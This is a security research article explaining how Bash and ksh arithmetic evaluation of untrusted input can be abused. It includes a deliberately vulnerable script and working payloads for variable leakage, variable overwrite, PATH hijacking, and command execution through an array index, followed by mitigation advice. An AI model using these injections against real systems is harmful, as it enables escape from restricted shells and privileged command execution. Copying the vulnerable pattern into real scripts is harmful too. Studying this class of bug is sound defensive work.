Shell Arithmetic Expansion and Evaluation Abuse

Introduction

Recently we came across a class of vulnerability that was discovered some time ago yet is not very well known, despite the potential impact of its discovery and exploitation being critical. During the (re)discovery of this type of bug we managed to get a privileged shell on a Linux-based appliance that only presented a restricted shell. At first it seemed impossible to break out from the shell and execute arbitrary command. The shell was not executing anything obviously wrong and a blacklist filtering the input characters appeared to be properly validating restricted shell inputs. In this article we show how we were able to overcome these apparent restrictions.

This article covers Bash and ksh only. Some shells are better protected against these vulnerabilities; others might be susceptible to the same type of bug.

Arithmetic Expansion and Evaluation

So what is arithmetic expansion? From the GNU’s Bash manual:
“Arithmetic expansion allows the evaluation of an arithmetic expression and the substitution of the result.” [0]

To put it simply, this means that we can use arithmetic expressions (adding, subtracting etc.) and it will be solved by the shell without hassle. The elements in the expression need to be numeric, known arithmetic functions or variables.

Here is the vulnerable shell script:

arithmetic.sh:
#!/bin/bash

LOCALSCOPE="hello"
echo $VARIABLE

if (( VARIABLE == 0 ))
then
            echo "TRUE"
else
            echo "FALSE"
fi

if [[ $LOCALSCOPE != "hello" ]]
then
            echo "hit"
fi
id

This has everything that we need and can be exploited in many different ways, although it does not look it at first. It is oversimplified; the attacker controls the VARIABLE environment variable, which could be the result of many different setups (user input to a CGI script, passed environment variable, argument, etc.).

The script is very simple; it prints the variable (this helps us debugging and not to make mistakes), then it compares the input with 0, prints TRUE or FALSE based on the truth of the statement, later it checks the value of the LOCALSCOPE variable, then executes the id binary from the PATH. Simple as that. We strongly advise pausing at this point and to try experimenting with the script:

VARIABLE=anything ./arithmetic.sh

Obviously the usual command execution techniques are not in play, we can use $() `` ; | or other redirections in this case, but those will not be evaluated by default.

Information Leakage

Our fun started when we realised that the error was shown in the result of malformed input. In case a special format or unexpected character is used, one of the few error messages will be shown by the shell, for example:

# VARIABLE=':atest' ./arithmetic.sh
:atest
./arithmetic.sh: line 3: ((: :atest == 0 : syntax error: operand expected (error token is ":atest == 0 ")
FALSE
uid=0(root) gid=0(root) groups=0(root)

The user input is reflected in the error message. This would be pretty useful if we could squeeze out some information about the system. As it happens, the evaluation method will recurse until all symbols are resolved, so we could use other environment variables to print its values, for example PATH:

# VARIABLE='PATH' ./arithmetic.sh
PATH
./arithmetic.sh: line 3: ((: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin: syntax error: operand expected (error token is "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin")
FALSE
uid=0(root) gid=0(root) groups=0(root)

Obviously, this is only a security vulnerability if the error is shown to the attacker.

Overwriting Variables

Arithmetic evaluation has one more interesting property for us. It can assign numeric values to variables. With this we can overwrite or assign new numeric values to the variables with different scopes.

The LOCALSCOPE variable should be rock solid in the script, there is no line that would modify the variable at all, so the corresponding statement will never be true, hit will never be printed. Or will it?

# VARIABLE='LOCALSCOPE=1337' ./arithmetic.sh
LOCALSCOPE=1337
FALSE
hit
uid=0(root) gid=0(root) groups=0(root)

In case we would like to modify multiple variables that can be done as well, we just need to use the comma:

VARIABLE='LOCALSCOPE1 = 1337, LOCALSCOPE2 = 1' ./arithmetic.sh

Recall that we are abusing the arithmetic evaluation feature of the shell, so why not be fancy and use arithmetic functions?

VARIABLE='LOCALSCOPE1 = cos(LOCALSCOPE2)' ./arithmetic.sh

PATH Overwrite -> Command Execution

Building on the previously mentioned techniques, we have arrived to the conditional command execution. We could execute arbitrary commands with the technique above, if:

  • There is at least one external executable referenced in the source after the arithmetic evaluation.
  • We can create a directory in the directory where the script is running (PWD)
  • And create a file with the name of the referenced executable

# mkdir 0
# echo “#!/bin/sh” > 0/id
# echo “echo pwned” >> 0/id
# chmod 777 0/id
# VARIABLE='PATH = 0' ./arithmetic.sh
PATH = 0
TRUE
pwned

What happened exactly? As mentioned before, we can overwrite any variable with a numeric value. We have chosen the value 0, so from the line of the arithmetic evaluation, the PATH variable will be changed to 0, until the script exits. Any external command or executable that will be executed after the evaluation (and has a relative name) will be looked up in the PATH, so in the directory 0. Since we placed our little evil script called id there, that will be invoked instead of the default /usr/bin/id.

This is nice, but wouldn’t it be nice to execute any commands without conditions?

Unconditional Command Execution

The biggest surprise for us was to find the unconditional command execution. Arithmetic expression should not perform command substitution at all; it should only expand and evaluate the statement. However, if an array is used in the expression and its index is a command then the shell will substitute that command with its result, therefore the command will be executed.

# VARIABLE='arr[$(uname -n -s -m -o)]' ./arithmetic.sh
arr[$(uname -n -s -m -o)]
./arithmetic.sh: line 4: Linux kali x86_64 GNU/Linux: syntax error in expression (error token is "kali x86_64 GNU/Linux")
uid=0(root) gid=0(root) groups=0(root)

Other Implications

Stéphane Chazelas (the researcher who found Shellshock) found this vulnerability too and compiled a brief list of vulnerable cases. It must be noted that not only double brackets are vulnerable. In certain cases, other expressions will evaluate commands as well. For further information, and a list of vulnerable cases please read [1].

Recommendation

First and foremost it is advised to quote all variables when it is referenced. This prevents reinterpretation in most cases, also prevents word splitting when whitespaces or anything from IFS is used.

Unfortunately in case of the arithmetic expansion quoting does not help, so programmers should make sure that all variables and inputs are coming from trusted sources. If this is not the case, the input should be carefully checked and sanitised, otherwise the described vulnerability could arise.

Conclusion

Although the source code looked solid at first sight, it proved to be vulnerable and can be exploited in many ways.

All techniques except the last one are expected to work like this by design. Regarding the unconditional command execution, opinions seemed to differ…

Based on the posts and mails that we managed to find online the vulnerability was first mentioned and raised for a fix on the bug-bash mailing list in May 2014, and it was discussed whether it should be fixed or not. Although some thought it is a security bug and should be fixed, others did not share this opinion [2]. Later in December 2014, Stéphane Chazelas also wrote a longer interesting answer on Stack Exchange that can be found here: [3].

Written by:  Balazs Bucsay [@xoreipeip] https://twitter.com/xoreipeip

[0] https://www.gnu.org/software/bash/manual/html_node/Arithmetic-Expansion.html
[1] https://unix.stackexchange.com/questions/172103/security-implications-of-using-unsanitized-data-in-shell-arithmetic-evaluation
[2] https://lists.defectivebydesign.org/archive/html/bug-bash/2014-06/msg00006.html
[3] https://unix.stackexchange.com/questions/171346/security-implications-of-forgetting-to-quote-a-variable-in-bash-posix-shells?stw=2